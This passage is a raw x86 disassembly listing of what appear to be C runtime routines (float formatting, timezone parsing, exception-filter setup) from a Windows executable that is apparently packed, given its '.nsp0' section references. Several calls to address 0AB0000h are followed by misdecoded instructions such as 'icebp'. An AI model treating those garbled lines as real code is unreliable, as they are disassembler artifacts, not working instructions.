sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41B262
add esp, 0Ch
dec esi
js short loc_41A2E4
lea edi, [ebx+esi*4]
loc_41A2CB: ; CODE XREF: sub_41A292+50j
test eax, eax
jz short loc_41A2E4
push edi
push 1
push dword ptr [edi]
call sub_41B262
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_41A2CB
loc_41A2E4: ; CODE XREF: sub_41A292+34j
; sub_41A292+3Bj
pop edi
pop esi
pop ebx
retn
sub_41A292 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2E8 proc near ; CODE XREF: sub_41A443+81p
; sub_41A443+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_41A34C
inc ebx
push ebx
push [ebp+arg_0]
call sub_41A249
pop ecx
test eax, eax
pop ecx
jnz short loc_41A349
push edi
push [ebp+arg_0]
call sub_41A292
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_41A349: ; CODE XREF: sub_41A2E8+51j
mov eax, [ebp+arg_4]
loc_41A34C: ; CODE XREF: sub_41A2E8+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_41A36C
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_41A36C: ; CODE XREF: sub_41A2E8+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41A2E8 endp
; =============== S U B R O U T I N E =======================================
sub_41A374 proc near ; CODE XREF: sub_41A443+75p
; sub_41A443+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_41A382: ; CODE XREF: sub_41A374+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_41A382
pop esi
retn
sub_41A374 endp
; =============== S U B R O U T I N E =======================================
sub_41A38F proc near ; CODE XREF: sub_41A443+5Fp
; sub_41A443+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_41A38F endp
; =============== S U B R O U T I N E =======================================
sub_41A39B proc near ; CODE XREF: sub_41A443+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41A3A1: ; CODE XREF: sub_41A39B+12j
cmp dword ptr [eax], 0
jnz short loc_41A3B3
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41A3A1
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A3B3: ; CODE XREF: sub_41A39B+9j
xor eax, eax
retn
sub_41A39B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3B6 proc near ; CODE XREF: sub_41A443+C0p
; sub_41A443+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_41A3EC: ; CODE XREF: sub_41A3B6+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_41A3EC
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41A41E: ; CODE XREF: sub_41A3B6+86j
cmp ebx, edi
jl short loc_41A431
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_41A438
; ---------------------------------------------------------------------------
loc_41A431: ; CODE XREF: sub_41A3B6+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_41A438: ; CODE XREF: sub_41A3B6+79j
dec ebx
sub ecx, 4
jns short loc_41A41E
pop edi
pop esi
pop ebx
leave
retn
sub_41A3B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A443 proc near ; CODE XREF: sub_41A5AF+Dp
; sub_41A5C5+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41A4B0
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_41A39B
test eax, eax
pop ecx
jnz loc_41A56F
lea eax, [ebp+var_C]
push eax
call sub_41A38F
pop ecx
loc_41A4A8: ; CODE XREF: sub_41A443+E4j
push 2
loc_41A4AA: ; CODE XREF: sub_41A443+110j
pop eax
jmp loc_41A571
; ---------------------------------------------------------------------------
loc_41A4B0: ; CODE XREF: sub_41A443+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_41A374
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41A2E8
add esp, 10h
test eax, eax
jz short loc_41A4D1
inc ebx
loc_41A4D1: ; CODE XREF: sub_41A443+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_41A4E9
lea eax, [ebp+var_C]
push eax
call sub_41A38F
pop ecx
jmp short loc_41A525
; ---------------------------------------------------------------------------
loc_41A4E9: ; CODE XREF: sub_41A443+98j
cmp ebx, eax
jg short loc_41A52C
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41A374
lea eax, [ebp+var_C]
push esi
push eax
call sub_41A3B6
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41A2E8
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_41A3B6
add esp, 20h
loc_41A525: ; CODE XREF: sub_41A443+A4j
xor esi, esi
jmp loc_41A4A8
; ---------------------------------------------------------------------------
loc_41A52C: ; CODE XREF: sub_41A443+A8j
cmp ebx, [edi]
jl short loc_41A558
lea eax, [ebp+var_C]
push eax
call sub_41A38F
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_41A3B6
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_41A4AA
; ---------------------------------------------------------------------------
loc_41A558: ; CODE XREF: sub_41A443+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_41A3B6
pop ecx
pop ecx
loc_41A56F: ; CODE XREF: sub_41A443+55j
xor eax, eax
loc_41A571: ; CODE XREF: sub_41A443+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41A5A0
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_41A5AA
; ---------------------------------------------------------------------------
loc_41A5A0: ; CODE XREF: sub_41A443+14Ej
cmp edi, 20h
jnz short loc_41A5AA
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_41A5AA: ; CODE XREF: sub_41A443+15Bj
; sub_41A443+160j
pop edi
pop esi
pop ebx
leave
retn
sub_41A443 endp
; =============== S U B R O U T I N E =======================================
sub_41A5AF proc near ; CODE XREF: sub_41A5DB+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_431E30
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41A443
add esp, 0Ch
retn
sub_41A5AF endp
; =============== S U B R O U T I N E =======================================
sub_41A5C5 proc near ; CODE XREF: sub_41A608+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_431E48
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41A443
add esp, 0Ch
retn
sub_41A5C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A5DB proc near ; CODE XREF: sub_4168A8+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41B403
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41A5AF
add esp, 24h
leave
retn
sub_41A5DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A608 proc near ; CODE XREF: sub_4168A8+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41B403
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41A5C5
add esp, 24h
leave
retn
sub_41A608 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A635 proc near ; CODE XREF: sub_4168E6+65p
; sub_4169EA+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41A672
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_41A658: ; CODE XREF: sub_41A635+38j
mov dl, [ecx]
test dl, dl
jz short loc_41A664
movsx edx, dl
inc ecx
jmp short loc_41A667
; ---------------------------------------------------------------------------
loc_41A664: ; CODE XREF: sub_41A635+27j
push 30h
pop edx
loc_41A667: ; CODE XREF: sub_41A635+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_41A658
mov edx, [ebp+arg_8]
loc_41A672: ; CODE XREF: sub_41A635+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_41A68B
cmp byte ptr [ecx], 35h
jl short loc_41A68B
loc_41A67E: ; CODE XREF: sub_41A635+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_41A689
mov byte ptr [eax], 30h
jmp short loc_41A67E
; ---------------------------------------------------------------------------
loc_41A689: ; CODE XREF: sub_41A635+4Dj
inc byte ptr [eax]
loc_41A68B: ; CODE XREF: sub_41A635+42j
; sub_41A635+47j
cmp byte ptr [esi], 31h
jnz short loc_41A695
inc dword ptr [edx+4]
jmp short loc_41A6A7
; ---------------------------------------------------------------------------
loc_41A695: ; CODE XREF: sub_41A635+59j
push edi
call sub_4126F0
inc eax
push eax
push edi
push esi
call sub_412E60
add esp, 10h
loc_41A6A7: ; CODE XREF: sub_41A635+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41A635 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6AC proc near ; CODE XREF: sub_4168E6+3Fp
; sub_4169EA+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41A710
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_462D90
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_41B8D4
mov dword_462DB8, eax
add esp, 18h
movsx eax, byte_462D92
mov dword_462DB0, eax
pop edi
movsx eax, word_462D90
mov dword_462DB4, eax
mov dword_462DBC, offset dword_462D94
mov eax, offset dword_462DB0
pop esi
leave
retn
sub_41A6AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A710 proc near ; CODE XREF: sub_41A6AC+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41A75E
cmp ebx, edi
jz short loc_41A757
lea edi, [ecx+3C00h]
jmp short loc_41A77F
; ---------------------------------------------------------------------------
loc_41A757: ; CODE XREF: sub_41A710+3Dj
mov edi, 7FFFh
jmp short loc_41A77F
; ---------------------------------------------------------------------------
loc_41A75E: ; CODE XREF: sub_41A710+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_41A776
cmp edx, ebx
jnz short loc_41A776
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41A7C1
; ---------------------------------------------------------------------------
loc_41A776: ; CODE XREF: sub_41A710+52j
; sub_41A710+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41A77F: ; CODE XREF: sub_41A710+45j
; sub_41A710+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_41A797: ; CODE XREF: sub_41A710+A6j
test ecx, esi
jnz short loc_41A7B8
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_41A797
; ---------------------------------------------------------------------------
loc_41A7B8: ; CODE XREF: sub_41A710+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41A7C1: ; CODE XREF: sub_41A710+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41A710 endp
; =============== S U B R O U T I N E =======================================
sub_41A7C6 proc near ; CODE XREF: sub_41461C+3AAp
; sub_41461C+3CBp ...
push 2
call sub_4144BE
pop ecx
retn
sub_41A7C6 endp
; =============== S U B R O U T I N E =======================================
sub_41A7CF proc near ; DATA XREF: sub_41A815o
; .nsp0:00431800o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41A7F2
cmp dword ptr [eax+10h], 3
jnz short loc_41A7F2
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41A7F2
jmp sub_41746C
; ---------------------------------------------------------------------------
loc_41A7F2: ; CODE XREF: sub_41A7CF+Dj
; sub_41A7CF+13j ...
mov eax, dword_462DC0
test eax, eax
jz short loc_41A80F
push eax
call sub_41A86B
test eax, eax
pop ecx
jz short loc_41A80F
push esi
call dword_462DC0
jmp short loc_41A811
; ---------------------------------------------------------------------------
loc_41A80F: ; CODE XREF: sub_41A7CF+2Aj
; sub_41A7CF+35j
xor eax, eax
loc_41A811: ; CODE XREF: sub_41A7CF+3Ej
pop esi
retn 4
sub_41A7CF endp
; =============== S U B R O U T I N E =======================================
sub_41A815 proc near ; DATA XREF: .nsp0:0041F020o
push offset sub_41A7CF
call dword_41D01C ; SetUnhandledExceptionFilter
mov dword_462DC0, eax
retn
sub_41A815 endp
; =============== S U B R O U T I N E =======================================
sub_41A826 proc near ; DATA XREF: .nsp0:0041F038o
push dword_462DC0
call dword_41D01C ; SetUnhandledExceptionFilter
retn
sub_41A826 endp
; =============== S U B R O U T I N E =======================================
sub_41A833 proc near ; CODE XREF: sub_416CBE+6Bp
; sub_4171CF+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 0AB0000h
rol dword ptr [ebp+330274C0h], 0F6h
mov eax, esi
pop esi
retn
sub_41A833 endp
; =============== S U B R O U T I N E =======================================
sub_41A84F proc near ; CODE XREF: sub_4171CF+73p
; sub_4171CF+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 0AB0000h
stosb
test eax, eax
jz short loc_41A867
xor esi, esi
loc_41A867: ; CODE XREF: sub_41A84F+14j
mov eax, esi
pop esi
retn
sub_41A84F endp
; =============== S U B R O U T I N E =======================================
sub_41A86B proc near ; CODE XREF: sub_4171CF+15Bp
; sub_41A7CF+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 0AB0000h
add dword ptr [ebp+330274C0h], 0FFFFFFF6h
mov eax, esi
pop esi
retn
sub_41A86B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41746C
loc_41A883: ; CODE XREF: sub_41746C:loc_4174BDj
push 0Ah
call sub_419639
push 16h
call sub_41BB67
pop ecx
pop ecx
push 3
call sub_413FE8
; END OF FUNCTION CHUNK FOR sub_41746C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A89A proc near ; CODE XREF: sub_41760D+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_41A8BD
cmp [ebp+arg_8], ebx
jz short loc_41A8BD
mov al, [esi]
cmp al, bl
jnz short loc_41A8C3
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41A8BD
mov [eax], bx
loc_41A8BD: ; CODE XREF: sub_41A89A+Cj
; sub_41A89A+11j ...
xor eax, eax
loc_41A8BF: ; CODE XREF: sub_41A89A+42j
; sub_41A89A+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A8C3: ; CODE XREF: sub_41A89A+17j
cmp dword_462C58, ebx
jnz short loc_41A8DE
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41A8D9
movzx ax, al
mov [ecx], ax
loc_41A8D9: ; CODE XREF: sub_41A89A+36j
; sub_41A89A+C0j
push 1
pop eax
jmp short loc_41A8BF
; ---------------------------------------------------------------------------
loc_41A8DE: ; CODE XREF: sub_41A89A+2Fj
mov ecx, off_4314B0
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41A93B
mov eax, dword_4316BC
cmp eax, 1
jle short loc_41A922
cmp [ebp+arg_8], eax
jl short loc_41A92C
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_462C68
call dword_41D130 ; MultiByteToWideChar
test eax, eax
mov eax, dword_4316BC
jnz short loc_41A8BF
loc_41A922: ; CODE XREF: sub_41A89A+5Cj
cmp [ebp+arg_8], eax
jb short loc_41A92C
cmp [esi+1], bl
jnz short loc_41A8BF
loc_41A92C: ; CODE XREF: sub_41A89A+61j
; sub_41A89A+8Bj ...
mov dword_462BC4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41A8BF
; ---------------------------------------------------------------------------
loc_41A93B: ; CODE XREF: sub_41A89A+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_462C68
call dword_41D130 ; MultiByteToWideChar
test eax, eax
jnz loc_41A8D9
jmp short loc_41A92C
sub_41A89A endp
; =============== S U B R O U T I N E =======================================
sub_41A962 proc near ; CODE XREF: sub_41760D+76p
; sub_41760D+88p ...
arg_0 = dword ptr 4
cmp dword_4316BC, 1
jle short loc_41A979
push 8
push [esp+4+arg_0]
call sub_414E26
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41A979: ; CODE XREF: sub_41A962+7j
mov eax, [esp+arg_0]
mov ecx, off_4314B0
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41A962 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A990 proc near ; CODE XREF: sub_41760D+797p
; sub_41760D+7E7p
cmp cl, 40h
jnb short loc_41A9AA
cmp cl, 20h
jnb short loc_41A9A0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_41A9A0: ; CODE XREF: sub_41A990+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41A9AA: ; CODE XREF: sub_41A990+3j
xor eax, eax
xor edx, edx
retn
sub_41A990 endp
; =============== S U B R O U T I N E =======================================
sub_41A9AF proc near ; CODE XREF: sub_418083+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41A9FB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_41A9CD
test al, 80h
jz short loc_41A9FB
test al, 2
jnz short loc_41A9FB
loc_41A9CD: ; CODE XREF: sub_41A9AF+14j
cmp dword ptr [esi+8], 0
jnz short loc_41A9DA
push esi
call sub_419939
pop ecx
loc_41A9DA: ; CODE XREF: sub_41A9AF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41A9EA
cmp dword ptr [esi+4], 0
jnz short loc_41A9FB
inc eax
mov [esi], eax
loc_41A9EA: ; CODE XREF: sub_41A9AF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_41AA01
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_41AA07
inc eax
mov [esi], eax
loc_41A9FB: ; CODE XREF: sub_41A9AF+9j
; sub_41A9AF+18j ...
or eax, 0FFFFFFFFh
loc_41A9FE: ; CODE XREF: sub_41A9AF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41AA01: ; CODE XREF: sub_41A9AF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_41AA07: ; CODE XREF: sub_41A9AF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41A9FE
sub_41A9AF endp
; =============== S U B R O U T I N E =======================================
sub_41AA1D proc near ; CODE XREF: sub_4180BE:loc_4180FDp
cmp dword_462E80, 0
jnz short locret_41AA31
call sub_41AA32
inc dword_462E80
locret_41AA31: ; CODE XREF: sub_41AA1D+7j
retn
sub_41AA1D endp
; =============== S U B R O U T I N E =======================================
sub_41AA32 proc near ; CODE XREF: sub_41AA1D+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_462DC8, ebp
mov dword_431F08, ebx
mov dword_431EF8, ebx
call sub_41BCD9
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_41AB5B
push offset dword_462DD0
call near ptr 0AB0000h
icebp
cmp eax, ebx
jz loc_41AC8A
mov eax, dword_462DD0
mov ecx, dword_462E24
imul eax, 3Ch
cmp word_462E16, bp
push 1
pop edx
mov dword_431E60, eax
mov dword_462DC8, edx
jz short loc_41AAA9
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_431E60, eax
loc_41AAA9: ; CODE XREF: sub_41AA32+69j
cmp word_462E6A, bp
jz short loc_41AACD
mov eax, dword_462E78
cmp eax, ebp
jz short loc_41AACD
sub eax, ecx
mov dword_431E64, edx
imul eax, 3Ch
mov dword_431E68, eax
jmp short loc_41AAD9
; ---------------------------------------------------------------------------
loc_41AACD: ; CODE XREF: sub_41AA32+7Ej
; sub_41AA32+87j
mov dword_431E64, ebp
mov dword_431E68, ebp
loc_41AAD9: ; CODE XREF: sub_41AA32+99j
lea eax, [esp+14h+var_4]
mov esi, dword_41D12C
push eax
push ebp
push 3Fh
mov edi, 220h
push off_431EEC
push ebx
push offset dword_462DD4
push edi
push dword_462C68
call esi ; dword_41D12C
test eax, eax
jz short loc_41AB16
cmp [esp+14h+var_4], ebp
jnz short loc_41AB16
mov eax, off_431EEC
and byte ptr [eax+3Fh], 0
jmp short loc_41AB1E
; ---------------------------------------------------------------------------
loc_41AB16: ; CODE XREF: sub_41AA32+D1j
; sub_41AA32+D7j
mov eax, off_431EEC
and byte ptr [eax], 0
loc_41AB1E: ; CODE XREF: sub_41AA32+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_431EF0
push ebx
push offset dword_462E28
push edi
push dword_462C68
call esi ; dword_41D12C
test eax, eax
jz loc_41AC82
cmp [esp+14h+var_4], ebp
jnz loc_41AC82
mov eax, off_431EF0
and byte ptr [eax+3Fh], 0
jmp loc_41AC8A
; ---------------------------------------------------------------------------
loc_41AB5B: ; CODE XREF: sub_41AA32+2Dj
cmp byte ptr [esi], 0
jz loc_41AC8A
mov eax, dword_462E7C
cmp eax, ebp
jz short loc_41AB7E
push eax
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_41AC8A
loc_41AB7E: ; CODE XREF: sub_41AA32+139j
push dword_462E7C
call sub_412813
push esi
call sub_4126F0
inc eax
push eax
call sub_41279F
add esp, 0Ch
cmp eax, ebp
mov dword_462E7C, eax
jz loc_41AC8A
push esi
push eax
call sub_412600
push 3
push esi
push off_431EEC
call sub_413710
mov eax, off_431EEC
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_41ABD3
push 1
inc esi
pop edi
loc_41ABD3: ; CODE XREF: sub_41AA32+19Bj
push esi
call sub_4123D4
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_431E60, ecx
loc_41ABEA: ; CODE XREF: sub_41AA32+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_41ABF8
cmp al, bl
jl short loc_41ABFB
cmp al, 39h
jg short loc_41ABFB
loc_41ABF8: ; CODE XREF: sub_41AA32+1BCj
inc esi
jmp short loc_41ABEA
; ---------------------------------------------------------------------------
loc_41ABFB: ; CODE XREF: sub_41AA32+1C0j
; sub_41AA32+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_41AC4E
inc esi
push esi
call sub_4123D4
imul eax, 3Ch
pop ecx
mov ecx, dword_431E60
add ecx, eax
mov dword_431E60, ecx
loc_41AC19: ; CODE XREF: sub_41AA32+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41AC26
cmp al, 39h
jg short loc_41AC26
inc esi
jmp short loc_41AC19
; ---------------------------------------------------------------------------
loc_41AC26: ; CODE XREF: sub_41AA32+1EBj
; sub_41AA32+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_41AC4E
inc esi
push esi
call sub_4123D4
pop ecx
mov ecx, dword_431E60
add ecx, eax
mov dword_431E60, ecx
loc_41AC41: ; CODE XREF: sub_41AA32+21Aj
mov al, [esi]
cmp al, bl
jl short loc_41AC4E
cmp al, 39h
jg short loc_41AC4E
inc esi
jmp short loc_41AC41
; ---------------------------------------------------------------------------
loc_41AC4E: ; CODE XREF: sub_41AA32+1CCj
; sub_41AA32+1F7j ...
cmp edi, ebp
jz short loc_41AC5A
neg ecx
mov dword_431E60, ecx
loc_41AC5A: ; CODE XREF: sub_41AA32+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_431E64, eax
jz short loc_41AC82
push 3
push esi
push off_431EF0
call sub_413710
mov eax, off_431EF0
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_41AC8A
; ---------------------------------------------------------------------------
loc_41AC82: ; CODE XREF: sub_41AA32+10Bj
; sub_41AA32+115j ...
mov eax, off_431EF0
and byte ptr [eax], 0
loc_41AC8A: ; CODE XREF: sub_41AA32+40j
; sub_41AA32+124j ...
pop edi
pop esi
pop ebp
